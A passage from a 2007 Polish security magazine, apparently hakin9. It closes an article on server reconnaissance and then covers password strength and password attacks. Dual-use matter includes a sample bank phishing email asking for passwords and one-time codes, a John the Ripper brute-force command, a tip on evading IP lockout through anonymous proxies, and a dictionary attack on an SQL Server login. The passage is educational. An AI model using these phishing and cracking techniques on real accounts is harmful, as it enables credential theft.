stanie znacznie zmniejszyć potencjal-
ną ilość logów wygenerowanych na
analizowanym systemie. Do skutecz-
nego wykorzystania Nessusa powyż-
sza ścieżka jest najlepsza – im wię-
cej dowiemy się o serwerze bez silnej
ingerencji, tym mniej śladów zostawi-
my w trakcie działań aktywnych. Sam
proces skanowania nie jest dla nas aż
tak istotny, ważniejsze są natomiast
wyniki, które częściowo prezentuje ta-
bela rezultatów. Warto pamiętać, że
hakin9 Nr 12/2007
www.hakin9.org
Atak
34
Nessus oprócz wskazania potencjal-
nych błędów zamieszcza do nich opis
i sposób usunięcia, oraz że czytanie
o czymś bez robienia tego nie ma
sensu – zachęcam do zabawy tym
programem i poznawaniem świata
bezpieczeństwa informatycznego.
Zbierając informacje ze wszystkich
etapów analizy, możemy stworzyć
wirtualny obraz serwera – określić,
na jakim systemie pracuje, jakie usłu-
gi świadczy i za pomocą jakiego opro-
gramowania. Potrafimy także określić
charakterystykę działalności serwe-
ra, potencjalnych właścicieli i admini-
stratorów. Mamy wystarczający zasób
wiedzy, aby wskazać partnerów sys-
temu poddawanego analizie, a prócz
tego jesteśmy w stanie odtworzyć je-
go wygląd z rożnych etapów istnie-
nia. Problemem nie jest również stwo-
rzenie profili psychologicznych osób
związanych z maszyną w sposób po-
średni, jak i bezpośredni. Mamy moż-
liwość zbudowania podobnej maszy-
ny wyglądającej z zewnątrz w sposób
identyczny, jak nasz cel i prowadze-
nia na niej prób penetracyjnych. Zasób
informacji, które jesteśmy w stanie
zgromadzić w taki sposób, jest prak-
tycznie nieograniczony – stosujemy
metody nieinwazyjne, a dopiero mając
świadomość wyglądu, poziomu bez-
pieczeństwa i zaawansowania konfi-
guracji przystępujemy do działań ak-
tywnych – takie rozpoznanie daje nam
dużą przewagę nad administratorem
i całym personelem technicznym.
Podsumowanie
Nie bez przyczyny wzięło się powie-
dzenie kto pyta, nie błądzi – rodzajem
informatycznego pytania jest umiejęt-
ność wyszukiwania informacji w Sieci.
Przeszukując ją jesteśmy w stanie na-
trafić na dane personalne milionów
ludzi i właśnie w tym miejscu tworzy
się bardzo groźny problem. Nie jest
ważne, czy skierujemy swoją uwa-
gę w konkretnym kierunku – na jed-
ną osobę, czy też spojrzymy na ogół
społeczności informatycznej. Zarów-
no z jednej, jak i z drugiej perspekty-
wy widzimy użytkowników będących
w niebezpieczeństwie, które sami pro-
wokują. Podążając dalej ścieżką po-
szukiwań przedstawiłem podstawowe
sposoby zdobywania danych o serwe-
rach. Metody, które zaprezentowałem,
należą do elementarnych, lecz ich
skuteczność jest na tyle wysoka, że
w zupełności wystarcza do stworze-
nia wstępnego obrazu analizowane-
go środowiska. Łącząc oba działania
w całośći stosując konkretnie przeciw-
ko określonej jednostce – jesteśmy,
w zależności od naszych dalszych
intencji, w stanie znaleźć się w posia-
daniu danych niebezpiecznych i waż-
nych dla firmy, otwierając sobie drogę
do całej palety ataków: od social engi-
neeringu zaczynając, kończąc na kra-
dzieży. Znając stan Sieci i wagę pro-
blemu zaprezentowałem wiele metod
– w sposób może mało dokładny, jed-
nak działanie to było zamierzone. Bo
przede wszystkim moim głównym ce-
lem było wywołanie w Czytelniku chę-
ci samodzielnego zgłębienia szczegó-
łów – co uczyni jedynie praktyką, oraz
uwrażliwienie wszystkich użytkowni-
ków na niebezpieczeństwo kradzieży
danych i tożsamości oraz zwrócenie
szczególnej uwagi na rangę informa-
cji personalnych, które w Sieci umiesz-
czane są gdzie popadnie.
Pamiętajmy, że skutecznym ata-
kiem jest atak wymierzony w niestrze-
żone punkty (jawnie pozostawione
wrażliwe dane) i przeprowadzony nie-
spodziewanymi drogami. l
Rysunek 8.
Nagłówek TCP
O autorze
Autor od wielu lat interesuje się informatyką – swoje zainteresowania skupił głównie na
zagadnieniach i problematyce sieci komputerowych oraz bezpieczeństwa teleinforma-
tycznego. Jest samoukiem i pasjonatem. Studiuje informatykę na wydziale Cybernety-
ki Wojskowej Akademii Technicznej.
Kontakt z autorem: bartosz.kalinowski@gmail.com
W Sieci
• http://www.paterva.com/web/Maltego/ – znakomity program do analizy relacji w Sieci,
• http://www.googleguide.com/advanced_operators_reference.html – Google w pi-
gułce,
• http://johnny.ihackstuff.com/ghdb.php – baza zapytań Google stworzona w celach
penetracyjnych,
• http://tor.eff.org/ – oprogramowanie do zapewnienia anonimowości w Sieci,
• http://www.securityfocus.com/infocus/1527 – podstawy social engineeringu,
• http://www.securityfocus.com/infocus/1860 – social engineering: inne spojrzenie,
• http://nessus.org – strona domowa Nessusa,
• http://network-tools.com/ – narzędzia sieciowe typu traceroute, ping etc.
www.hakin9.org
hakin9 Nr 12/2007
36
Atak
O
d dawna hasła uważa się za jedno
z najsłabszych miejsc w systemie bez-
pieczeństwa informacji. Dzieje się tak
dlatego, że bezpośrednio zależą one od bez-
dyskusyjnie najsłabszego ogniwa tego łańcucha
– człowieka (użytkownika). To właśnie użytkow-
nik decyduje o ostatecznej treści hasła i pozio-
mie jego poufności. Różnego typu ataki na hasła
i próby ich nieuprawnionego pozyskiwania są sto-
sunkowo proste do przeprowadzenia, nie wyma-
gają fachowej wiedzy i bywają trudne do wykry-
cia. Wrogie działania związane z hasłami mogą
wykorzystywać ich organizacyjne lub techniczne
słabości i podatności. Do pierwszej grupy zaliczy-
my sytuacje używania haseł zbyt mało skompli-
kowanych, rzadkiego ich zmieniania, czy choćby
wykorzystywania w kilku systemach tego same-
go hasła. Sfera podatności technicznych wiąże
się przykładowo z zastosowaniem słabych me-
chanizmów kryptograficznych lub ze źle napi-
sanym oprogramowaniem, które przechowu-
je hasła w formie otwartych łańcuchów znaków
w łatwo dostępnych plikach lub bazach danych.
Silne i słabe hasła
Siła hasła wpływa bezpośrednio na efektyw-
ność większości metod i technik ataków na has-
ła, ma więc fundamentalne znaczenie dla
bezpieczeństwa chronionych przez hasło
aktywów. O sile hasła na dobrą sprawę de-
cyduje użytkownik, będący czasem do pew-
nego stopnia zdeterminowany przez politykę
bezpieczeństwa systemu, która ma zapobie-
gać tworzeniu haseł zbyt słabych. Niekiedy
mawia się z pewną dozą ironii, że hasło jest
silne wtedy, kiedy człowiek nie jest już go
w stanie zapamiętać i musi je zapisać na
żółtej karteczce przyklejonej do monitora.
Niestety, w tym – jakkolwiek przerysowanym
Słabość
mocnych haseł
Marcin Guzowski
stopień trudności
Zastosowanie haseł to nadal podstawowa metoda
uwierzytelniania w systemach informatycznych. Wszelkiego
typu klucze alfanumeryczne, tajne słowa, PINy to często jedyne
zabezpieczenie aktywów systemu przed nieupoważnionym
dostępem. Niestety, w dobie stale rosnących możliwości
obliczeniowych jest to zabezpieczenie coraz mniej skuteczne.
Z artykułu dowiesz się
• jak tworzyć silne hasła oraz jaki jest teoretyczny
czas ich łamania,
• jakie metody i techniki ataków na hasła są
obecnie stosowane,
• jakie oprogramowanie stosowane jest podczas
ataków na hasła.
Co powinieneś wiedzieć
• powinieneś posiadać podstawową wiedzę z za-
kresu bezpieczeństwa systemów i kryptografii.
Słabość mocnych haseł
hakin9 Nr 12/2007
www.hakin9.org
37
– stwierdzeniu jest trochę prawdy,
gdyż co do zasady im hasło ma
większą siłę, tym jest mniej przy-
jazne w użytkowaniu.
Zgodnie z większością zaleceń,
silne (mocne) hasło powinno:
• składać się z dostatecznie róż-
norodnych znaków (małe i wiel-
kie litery alfabetu, cyfry oraz
znaki specjalne typu #$@!&^*),
• być dostatecznie losowe lub moż-
liwe do odtworzenia jedynie przez
osobę znającą określony sekret
– nie może składać się ze zna-
nych lub kiedykolwiek opubliko-
wanych słów,
• być dostatecznie długie (wszyst-
ko zależy od wartości aktywów
jakie chroni, ale najczęściej za
minimum – przy spełnieniu po-
przednich założeń – uznaje się
hasło 8–znakowe).
W sieci można spotkać wiele gene-
ratorów silnych haseł. Zakładając, że
8–znakowe hasła z Rysunku 1. wyge-
nerowane za pomocą jednego z nich
(http://guzowski.info/passgen,pl)
składać się mogą z 75 różnych zna-
ków, haker ma 75^8 możliwych kom-
binacji do sprawdzenia (w ujęciu ma-
tematycznym jest to tzw. wariacja
z powtórzeniami). Komputer PC z
procesorem taktowanym z często-
tliwością 3 GHz jest w stanie wy-
generować ok. 3 000 000 haseł na
sekundę. Oznacza to, że haker wy-
posażony w przeciętny komputer bę-
dzie w stanie sprawdzić wszystkie
kombinacje w około 10 lat. Jeżeli jed-
nak zwiększymy długość hasła do 10
znaków, czyli ilość kombinacji wynie-
sie 75^10, to – przy tych samych za-
łożeniach – maksymalny teoretycz-
ny czas łamania hasła wyniesie już
prawie 60 tysięcy lat. Dla porówna-
nia, wszystkie kombinacje dla słabe-
go 6–znakowego hasła składające-
go się wyłącznie z małych liter i cyfr
zostaną wygenerowane w 12 mi-
nut. Można jednak wyobrazić sobie
silne hasło, które składa się np. wy-
łącznie z wielkich liter alfabetu ła-
cińskiego – w takim przypadku musi
ono być dostatecznie długie (10–11
znaków). Oczywiście podane czasy
pełną wyłącznie rolę pewnych punk-
tów odniesienia, gdyż w rzeczywi-
stości wygenerowane hasło musi
być jeszcze np. wysłane do systemu
zdalnego lub odpowiednio przetwo-
rzone (zaszyfrowane), co oczywi-
ście może znacznie wydłużyć czas
niezbędny do realnego wykorzysta-
nia wygenerowanych haseł.
Haker najczęściej nie wie, z jak
silnym hasłem ma do czynienia. Wy-
musza to na nim podjęcie pewnych
założeń, które stanowią kompro-
mis między czasem sprawdzania
możliwych kombinacji a ich dłu-
gością i skomplikowaniem. Więk-
szość technik łamania haseł za-
kłada etapowość procesu, gdzie w
początkowych krótkotrwałych eta-
pach sprawdzane są proste kom-
binacje, a w kolejnych – te bardziej
skomplikowane, co jest oczywiście
bardziej czasochłonne. Niestety,
według różnych szacunków od kil-
kunastu do kilkudziesięciu procent
wszystkich haseł na świecie zosta-
łoby złamane już na początkowych
etapach tego typu działań. Hasła
użytkowników są najczęściej słabe
– wykorzystują powszechnie zna-
ne słowa i są jednocześnie krót-
kie i nieróżnorodne. Hasła czasem
są tak słabe, że haker nie musi na-
wet używać komputera, by je od-
gadnąć, jak np. w sytuacji zastoso-
wania jako hasła daty urodzenia lub
imienia partnera. Często wystarczy
więc zebrać podstawowe informa-
cje o właścicielu hasła, by znaczą-
co zwiększyć szanse na jego szyb-
kie odgadnięcie.
Zapamiętywanie silnych haseł
może być kłopotliwe, zwłaszcza
że nawet średnio zaawansowany
użytkownik uwierzytelnia się w co
najmniej kilku systemach. Wyko-
rzystywanie jednego i tego sa-
mego hasła do wszystkich syste-
mów jest fatalnym pomysłem, gdyż
haker na pewno będzie próbował wy-
korzystać każde odgadnięte hasło
w innych miejscach. Hasła powin-
ny być różnorodne, jeżeli jednak
– ze względu na ich ilość – nie
jest to możliwe, najczęściej zale-
ca się, aby składały się z części
stałej (wspólnej wszystkim hasłom
Rysunek 1.
Generator silnych haseł
Terminologia
Siła hasła (ang. password strength)
– stopień trudności odgadnięcia okre-
ślonego hasła przez nieupoważnioną
jednostkę. Najczęściej występuje w for-
mie opisowej (hasło słabe, podatne na
złamanie, mocne). Przy ocenie siły ha-
sła nie uwzględnia się sposobu prze-
chowywania hasła w systemie, meto-
dy transmisji i innych kwestii niezwiąza-
nych bezpośrednio z merytoryczną tre-
ścią hasła. Za miarę siły hasła zwykle
uznaje się hipotetyczny czas niezbęd-
ny do jego złamania lub wyrażaną w bi-
tach entropię informacyjną (ang. infor-
mation entrophy), o ile hasło powsta-
wało w sposób losowy.
hakin9 Nr 12/2007
www.hakin9.org
Atak
38
danego użytkownika) i części
zmiennej. Ważne jest, aby pat-
rząc na dane hasło, nie dało się
tych części w prosty sposób od-
różnić – np. w łańcuchu znaków
d%4d&Gb!aV częścią dynamicz-
ną może być 3 i 6 znak, przykła-
dowa wersja tego hasła dla innego
systemu wyglądałaby następu-
jąco – d%7d&nb!aV. Oczywiście
część zmienna hasła powinna je-
go właścicielowi kojarzyć się z da-
nym systemem – przy założeniu, że
podobnego skojarzenia nie będzie
w stanie odtworzyć żadna inna
osoba. Alternatywą są hasła mne-
moniczne, czyli łańcuchy znaków
powstałe przez pewne przekształ-
cenia większego tekstu – np. przez
wzięcie pierwszych liter słów z
fragmentu wiersza i dokonanie pro-
stych transliteracji. Przykładem ta-
kiego podejścia jest choćby Bs, bd,
tsl; @0dm (Bez serc, bez ducha,
to szkieletów ludy, Oda do młodo-
ści, A. Mickiewicz). Nieco bardziej
skomplikowany sposób tworzenia
hasła zakłada metoda diceware
passphrase, która polega na lo-
sowaniu zwykle pięciu tzw. fraz
hasła (słów) ze słownika składają-
cego się – w przypadku języka an-
gielskiego – z 7776 słów. Hasło ta-
kie wygląda następująco: meyers
stingy butane 111 august. Jego siła
w zasadzie odpowiada sile 10–zna-
kowego hasła składającego się
z małych i wielkich liter, cyfr oraz
znaków specjalnych, a – przynajm-
niej teoretycznie – ma być dużo
łatwiejsze do zapamiętania.
Ataki na hasła
Jest wiele sposobów prowadzą-
cych do nieuprawnionego pozyska-
nia hasła. Niektóre z nich zakładają
konieczność fizycznego dostępu do
tzw. skrótów haseł (ang. hash), inne
– wręcz przeciwnie. Nie wdając się
w terminologiczne rozważania, kate-
gorię działań związanych z nieupraw-
nionym pozyskiwaniem treści hasła
nazywać będę atakami na hasła. Dla
jasności dodam tylko, że określenie ła-
manie haseł (ang. password cracking)
odnosi się najczęściej do metod od-
tworzenia treści hasła z hasha, a nie
np. do prób zdalnego ich odgadnięcia
z zastosowaniem słownika. Wybra-
ne metody ataków na hasła o podsta-
wowym znaczeniu zostaną omówio-
ne poniżej.
Social engineering
Inżynieria społeczna uderza w naj-
słabsze ogniwo łańcucha bezpie-
czeństwa informacji – użytkownika.
To dlatego metoda ta jest tak sku-
teczna. Jedną z technik ataku na
hasła, wykorzystującą założenia in-
żynierii społecznej, jest phishing.
Phishing to, najogólniej mówiąc,
oparte na oszustwie pozyskanie in-
formacji poufnej (jak np. hasła). Klu-
czem do sukcesu podczas stosowa-
nia technik inżynierii społecznej jest
wzbudzenie zaufania potencjalnych
ofiar, czyli przekonanie ich do pod-
jęcia określonych działań. Typowy
scenariusz phishingu wygląda na-
stępująco: klienci otrzymują wiado-
mość (rzekomo) od swojego banku.
Adres nadawcy wygląda na zupełnie
poprawny, semantycznie e–mail tak-
że nie budzi żadnych zastrzeżeń.
Cracker musi dysponować spre-
parowaną stroną, która sprawia wra-
żenie strony systemu bankowego.
Stworzenie podobnej witryny (włącz-
nie z zarejestrowaniem podobnej do-
meny, dodaniem logo, ujednolice-
niem designu i akceptacją połączeń
przez bezpieczny protokół) nie jest
żadnym problemem. Atakujący mo-
że wysłać powyższą wiadomość do
więcej niż jednego użytkownika, pod-
nosząc tym samym potencjalną sku-
teczność swoich działań. Może też
dodać do wiadomości kilka dodatko-
wych stwierdzeń, które w oczach od-
biorcy podniosą jej wiarygodność (np.
– jakkolwiek bezczelne – ostrzeżenie
lub pouczenie o zachowaniu danych
autoryzacyjnych w tajemnicy). Oma-
wiana metoda ataku należy ciągle
do bardzo skutecznych i – co istotne
– hasło zostaje pozyskane w sposób
nieuprawniony zupełnie niezależnie
od jego siły. Jedyną skuteczną formą
obrony jest w tym przypadku eduka-
cja i informowanie użytkowników.
Self–service password
reset
Samoobsługowe resetowanie hasła
(ang. self–service password reset) to
procedura występująca w wielu sys-
temach. Jej istota polega na tym, że
użytkownik, który zapomniał swojego
hasła lub ma inny problem związany
z korzystaniem z usługi (np. zablo-
kowane konto), jest w stanie uwie-
rzytelnić się w systemie przy uży-
ciu alternatywnej metody i doko-
nać stosownej akcji naprawczej bez
konieczności telefonowania do help-
desku. Alternatywna metoda uwie-
rzytelniania zasadniczo opiera się
na konieczności dostarczenia sto-
sownej informacji (uwierzytelnianie
what user knows), jak np. adresu
Phishing – przykładowy
Drogi Kliencie!
W związku ze zmianą mechanizmu
uwierzytelniania i koniecznością stałe-
go podnoszenia poziomu bezpieczeń-
stwa naszych usług, prosimy o potwier-
dzenie autentyczności adresu e–mail,
na który został wysłany ten komunikat.
W tym celu prosimy o kliknięcie
[odnośnika] do modułu audytowego
Systemu Banku, a następnie poda-
nie w formularzu Identyfikatora Klien-
ta, Hasła Konta oraz jednego z pięciu
ostatnich haseł znajdujących się na ak-
tywnej Karcie Haseł Jednorazowych.
Dziękujemy,
Z wyrazami szacunku,
Bank XYZ
Rysunek 2.
Narzędzie SQLdict
Słabość mocnych haseł
hakin9 Nr 12/2007
www.hakin9.org
39
e–mail podanego podczas rejestra-
cji konta oraz odpowiedzi na zdefi-
niowane wcześniej pytanie. Problem
w tym, że informacje te często są dla
hakera łatwo osiągalne. Skuteczne
zainicjowanie omawianej procedury
jest więc potencjalnie o wiele łatwiej-
sze niż przeprowadzenie bezpośred-
niego ataku na hasło. Jeżeli haker
ma dostęp do poczty określonego
użytkownika, to niestety omawiana
funkcjonalność w większości przy-
padków przyczyni się do uzyska-
nia przez atakującego haseł dostę-
powych do wielu innych systemów.
Jest to o tyle istotne, że użytkownicy
często uważają konto poczty e–mail
za mało ważne, gdyż nie przecho-
wują tam żadnych cennych informa-
cji. Hasło do poczty jest więc często
bardzo słabe.
Atak słownikowy
W ataku słownikowym (ang. dictio-
nary attack) wykorzystuje się prede-
finiowaną listę słów (ang. words list),
która jest źródłem potencjalnych
haseł. Atak ten występuje w dwóch
zasadniczo różniących się odmia-
nach. Słownik można wykorzystać
do ataku na skróty haseł (wymagany
jest fizyczny dostęp do systemu) lub
podczas próby zdalnego uwierzy-
telniania, kiedy odpowiednie opro-
gramowanie symuluje logowanie
się użytkownika systemu. Niezależ-
nie od typu ataku słownikowego, jest
on skuteczny wyłącznie w przypad-
ku haseł słabych, gdyż silnych ha-
seł po prostu nie opłaca się w stan-
dardowy sposób słownikować. Atu-
tem ataku słownikowego jest niewąt-
pliwie jego szybkość. Może on być
przeprowadzony znacznie szybciej
niż ekwiwalentny atak z wykorzy-
staniem wszystkich możliwych kom-
binacji (ang. brute–force attack).
Skuteczność metody słownikowej
zależy głównie od doboru słowni-
ka. Większość dostępnych w sieci
słowników zawiera frazy danego ję-
zyka, miejsca, nazwiska sławnych
postaci, a także często używane
hasła. Prywatne osoby lub insty-
tucje przygotowują czasem słow-
niki zawierające bardziej specyficz-
ne określenia. Naturalna tendencja
do tworzenia haseł słabych pozwa-
la zakładać, że jeżeli właścicielem
danego hasła jest np. kucharz, to
przy ataku na jego hasło warto wy-
korzystać słownik zawierający fra-
zy związane z gotowaniem.
Obecnie dużo trudniej przeprowa-
dzić skuteczny zdalny atak na hasło
niż jeszcze kilka lat temu. Występują
dwa zasadnicze ograniczenia:
• systemy blokują dostęp dla ad-
resu IP, który dokonał określonej
liczby nieudanych prób uwierzy-
telniania (tzw. IP lockout),
• dostęp do systemu z określone-
go konta dostępowego jest bloko-
wany, jeżeli dokonano określonej
liczby nieudanych prób logowa-
nia przy użyciu tego konta (tzw.
account lockout).
O ile z pierwszym problemem moż-
na sobie stosunkowo łatwo poradzić,
stosując anonimowe serwery proxy,
o tyle druga przeszkoda nie jest już
tak prosta do pokonania. Większość
nowoczesnych systemów informa-
tycznych działających w sieci publicz-
nej loguje informacje o nieudanych
próbach uwierzytelniania i reaguje
w sytuacji wykrycia ataku. Najsłabsza
cecha ataku słownikowego wynika
z jego istoty – konieczne jest przepro-
wadzenie odpowiedniej liczby prób
przy użyciu haseł ze słownika w rela-
tywnie krótkim czasie. Jeżeli z jakich-
kolwiek powodów nie będzie to mogło
nastąpić – atak będzie nieskuteczny.
Można sobie wyobrazić wie-
le scenariuszy ataku z wykorzysta-
niem słownika. Dla przykładu załóż-
my, że nieuczciwy pracownik usiłuje
uzyskać dostęp do informacji znaj-
dującej się na serwerze baz danych
Microsoft SQL Server 2005, który ob-
sługuje uwierzytelnianie poprzez po-
danie nazwy użytkownika oraz hasła
(tzw. SQL Server Authentication w od-
różnieniu od Windows Authentication,
czyli zintegrowanego uwierzytelnia-
nia Windows). Atakujący dysponuje
informacją, że dostęp do interesują-
cego zestawu danych ma użytkow-
nik o loginie kowalski – hasło tego
użytkownika zostanie więc zaatako-
Rysunek 3.
John the Ripper – atak na hasło systemu Linux
Przesyłanie haseł
otwartym tekstem
Przykładowa komunikacja z wykorzy-
staniem protokołu FTP, w którym hasło
przesyłane jest w jawnej postaci:
Connected to server.com
220 server.com FTP serwer (Version
wu–2.4(1) Fri Jul 21 11:32:01 GMT
2007) ready.
Name (server.com:kowalski):
kowalski
331 Password required for
kowalski.
Password: tojesthaslo
230 User kowalski logged in.
Remote system type is UNIX.
Using binary mode to transfer
files.
hakin9 Nr 12/2007
www.hakin9.org
Atak
40
wane. Nieuczciwy pracownik zdecy-
dował się wykorzystać do tego celu
bardzo proste narzędzie SQLdict
(http://ntsecurity.nu/toolbox/sqldict/),
które na średniej klasy komputerze
potrafi sprawdzić od kilkunastu do
kilkudziesięciu tysięcy haseł na mi-
nutę. Atakujący wie bardzo niewie-
le o użytkowniku i nie jest w stanie
zdefiniować jego predyspozycji doty-
czących tworzenia haseł, zdecyduje
się więc na użycie dwóch słowników:
jednego z około tysiącem najczę-
ściej występujących haseł i drugiego
zawierającego 869000 fraz różnych
języków (http://www.outpost9.com/
files/WordLists.html,ftp://ftp.ox.ac.uk/
pub/wordlists/). Hasło zostaje sku-
tecznie zaatakowane w bardzo krót-
kim czasie (Rysunek 2). SQL Server
2005 nie posiada żadnych mechani-
zmów typu lockout i domyślnie nie
loguje nieudanych prób logowania.
Istnieje więc duże prawdopodobień-
stwo, że nawet o tak prostym ataku
nikt by się nie dowiedział.
Naturalnie słowniki są wykorzy-
stywane również przy klasycznym
łamaniu haseł, czyli próbie odna-
lezienia łańcucha znaków, którego
skrótem się dysponuje. W takim
przypadku można stosować pew-
ne zabiegi podnoszące efektyw-
ność ewentualnego ataku. Jedną
z możliwości jest wstępne przetwo-
rzenie słownika (ang. precompu-
tation), polegające na dodaniu do
każdej frazy słownika jej skrótu lub
skrótów (w przypadku obsługi kilku
funkcji hashujących). Oczywiście
zwiększy to znacznie rozmiar słow-
ników, pozwoli jednak na jego prze-
szukiwanie w oparciu o wartość
skrótu (wyszukiwanie skrótu jest
co najmniej o rząd wielkości szyb-
sze niż jego generowanie). Wstępne
przetworzenie słownika ma prakty-
czny sens wyłącznie w sytuacji,
w której łamane hasła nie były solo-
ne lub zostało to wykonane niepra-
widłowo. Solenie haseł (ang. sal-
ting) to nic innego, jak zabieg mają-
cy na celu wprowadzenie elemen-
tu losowości do procesu tworzenia
ich skrótów. Pomysł polega na tym,
że przed zaszyfrowaniem funkcją
hashującą do hasła dołączana jest
sól (ang. salt), czyli po prostu dodat-
kowy ciąg bitów. Oczywiście system
uwierzytelniania musi przechowy-
wać sól, aby móc weryfikować hasła
wprowadzane przez użytkowników.
Postuluje się, że dla każdego użyt-
kownika powinna być stosowana
inna sól o długości porównywalnej
z długością samego skrótu.
Klasyczne łamanie haseł me-
todą słownikową może być oczy-
wiście przeprowadzone wyłącznie
w sytuacji, w której haker wejdzie
w posiadanie ich skrótów. Mo-
że się to stać na wiele sposobów
– od skutecznego podsłuchu sieci
lub przechwycenia hasha w trans-
misji, po uzyskanie fizycznego do-
stępu do komputera. Przykładowy
hash MD5 słabego hasła jest czę-
sto łamany w czasie nie dłuższym
niż jedna minuta (Rysunek 3).
Atak brute–force
Atak brute–force polega na spraw-
dzaniu wszystkich możliwych kom-
binacji haseł i, podobnie jak atak
słownikowy, może być użyty za-
równo podczas łamania haseł, jak
i do uzyskania nieuprawnionego do-
stępu do systemu zdalnego. Jeżeli
chodzi o drugi przypadek, to z punk-
tu widzenia atakowanego systemu,
atak brute–force wygląda tak samo,
jak atak słownikowy, tzn. określo-
ny host lub grupa hostów dokonuje
prób uwierzytelniania w relatywnie
krótkim czasie. Wspomniany już me-
chanizm prewencyjny (lockout) mo-
że więc skutecznie zablokować te-
go typu działania. Atak brute–force
jest najczęściej wykorzystywany
przy klasycznym łamaniu haseł, ze
względu na potencjalną koniecz-
ność sprawdzenia wielu milionów
kombinacji jego wykorzystanie do
prób odgadnięcia hasła do zdalne-
go systemu jest niewielkie.
W ataku brute–force kluczowe
znaczenie ma odpowiednie dosto-
sowanie wzorców, według których
generowane będą hasła oraz ko-
lejność stosowania wzorców. Jest
Rysunek 4.
Ophcrack w działaniu
Funkcje skrótu
(ang. hash functions)
Obecnie wykorzystuje się wiele funkcji
skrótu, jak np. SHA–1, SHA–2, MD2,
MD4, MD5, Cisco PIX, LM, Whirlpo-
ol, RIPEMD–160 etc. Różnią się one
zarówno długością skrótu, jak i pozio-
mem skomplikowania operacji i – co
za tym idzie – siłą algorytmu. Ich zada-
niem jest generowanie jednoznacznych
skrótów z dowolnego strumienia da-
nych wejściowych, w taki sposób, aby
ze skrótu nie dało się uzyskać wejścio-
wego strumienia danych (jednokierun-
kowość), konkretny strumień danych
zawsze miał identyczny skrót (deter-
minizm) i żaden inny strumień danych
nie uzyskał takiego samego skrótu
(brak kolizji). W 2004 i 2005 roku wy-
kryto słabości dwóch najbardziej po-
pularnych algorytmów – MD5 i SHA–1.
Mimo to, są nadal stosowane.
Słabość mocnych haseł
hakin9 Nr 12/2007
www.hakin9.org
41
to o tyle istotne, że potrafi znacz-
nie skrócić czas niezbędny do zła-
mania hasła. Warto więc na począ-
tek sprawdzić stosunkowo proste
kombinacje, jak np. same małe li-
tery (do 8 znaków). W popularnym
programie John the Ripper (http://
www.openwall.com/john/ ) za tryb
brute–force odpowiada przełącznik
–i lub –incremental. Aby sprawdzić
wyłącznie małe litery, należy wywo-
łać program w następujący sposób:
john –i=alpha passwords.txt
. JtR ma
jeszcze jedną ciekawą funkcjonal-
ność, która stanowi swoiste połącze-
nie ataku brute–force i ataku słowni-
kowego – tzw. word mangling rules.
Mechanizm polega na przekształca-
niu fraz zawartych w dostarczonym
słowniku tak, aby w locie automa-
tycznie sprawdzać frazy składniowo
podobne. Frazy te generowane są na
podstawie zasad przypominających
wyrażenia regularne, zdefiniowanych
w pliku konfiguracyjnym john.conf
lub john.ini (w zależności od syste-
mu operacyjnego). Przekształcenia
polegają m. in. na odwracaniu fraz
lub ich fragmentów, zamianie małych
liter na wielkie i odwrotnie, zastępo-
waniu niektórych liter cyframi, doda-
waniu do końca frazy cyfr etc. Prakty-
ka pokazuje, że pozwala to znacznie
podnieść skuteczność ataku. Im wię-
cej tego typu operacji zostało przewi-
dzianych, tym bardziej charakter ata-
ku zbliża się do modelu brute–force.
Wiąże się to oczywiście ze znacznym
podniesieniem skuteczności, ale czę-
sto także – z jeszcze znaczniejszym
wydłużeniem czasu niezbędnego do
złamania hasła.
Atak z wykorzystaniem
tęczowych tablic
Tęczowe tablice (ang. rainbow tables)
to pomysłowa realizacja postulatu
określanego niekiedy kompromisem
czasu i pamięci (ang. time–memo-
ry trade–off). Autorem koncepcji jest
Dr Philippe Oechslin. Idea tęczo-
wych tablic polega na tworzeniu łań-
cuchów haseł i hashy, z tym jednak
założeniem, że zapisywane jest jedy-
nie pierwsze hasło oraz ostatni skrót.
Łańcuch budowany jest za pomo-
cą odpowiedniej funkcji skrótu i tzw.
funkcji redukcyjnej według następu-
jącego algorytmu: wylicz hash z da-
nego hasła, następnie zredukuj hash
do nowego hasła, wtedy wylicz hash
z nowego hasła etc. Łamanie hasła
z kolei odbywa się w taki sposób, że
hash łamanego hasła jest sukcesyw-
nie redukowany aż do momentu zna-
lezienia w tęczowej tablicy identycz-
nego hasha. Gdy to nastąpi, brane
jest hasło początkowe z danego łań-
cucha a następnie funkcjami reduk-
cyjnymi przekształcane do momen-
tu, w którym jego skrót (wyliczany
na bieżąco) będzie równy skróto-
wi łamanego hasła. Termin tęczowe
tablice powstał właśnie w związku
z istnieniem kolejnych faz redukcji
(funkcji redukcyjnych), które ozna-
czone kolorem utworzyłyby piono-
wą tęczę.
Skuteczność omawianego ataku
jest oczywiście uzależniona od wiel-
kości tęczowych tablic, istnieje tutaj
duża analogia do rozmiaru słowni-
ka w ataku słownikowym. Najwięk-
sze tablice są niedostępne za dar-
mo, pozostaje więc albo zadowo-
lić się mniejszymi, albo wygenero-
wać je sobie samemu (np. przy uży-
ciu łatwego w obsłudze narzędzia
Winrtgen, http://www.oxid.it/projects.
html). Trzeba oczywiście pamiętać
o tym, że dostatecznie duża tęczowa
tablica, zapewniająca 95% i większą
skuteczność łamania haseł, może
powstawać wiele dni. Z drugiej stro-
ny, pozwala skrócić czas łamania
haseł z dni do minut. Co ciekawe,
w sieci pojawiają się serwisy WWW
udostępniające za darmo lub za sto-
sowną opłatą usługę łamania haseł
metodą tęczowych tablic. Wystar-
czy wejść na odpowiednią stronę (np.
http://plain–text.info/) i przesłać swój
skrót. Stosunkowo skuteczną ochro-
nę przed tęczowymi tablicami za-
pewnia w zasadzie wyłącznie odpo-
wiednie solenie haseł. 32–bitowa sól
wydaje się wystarczająca, aby unie-
możliwić złamanie nawet nie najsil-
niejszego hasła.
Dostępnych jest coraz więcej
narzędzi wykorzystujących tęczowe
tablice do przeprowadzenia ataku na
hasła. Najpopularniejsze to:
• Ophcrack (http://ophcrack.
sourceforge.net/),
• RainbowCrack (http://www.
antsight.com/zsl/rainbowcrack/),
• Cain & Abel (http://www.oxid.it/
cain.html).
Użycie algorytmu
kryptograficznego
Zarówno funkcje hashujące, jak i sys-
temy uwierzytelniania mają swoje
osobliwości, których wykorzystanie
może hakerowi znacznie ułatwić za-
danie. Słabością mechanizmu uwie-
rzytelniania i przechowywania haseł
w systemach rodziny Microsoft Win-
dows jest po dziś dzień stosowanie
niesolonych hashy (ang. salt–less
hashes), co – mówiąc wprost – pod-
Rysunek 5.
Cain & Abel w trakcie ataku brute–force na skrót LM
hakin9 Nr 12/2007
www.hakin9.org
Atak
42
nosi wydajność wszystkich metod
łamania haseł. System Windows
doskonale pasuje też do scenariu-
sza ataku z wykorzystaniem słabości
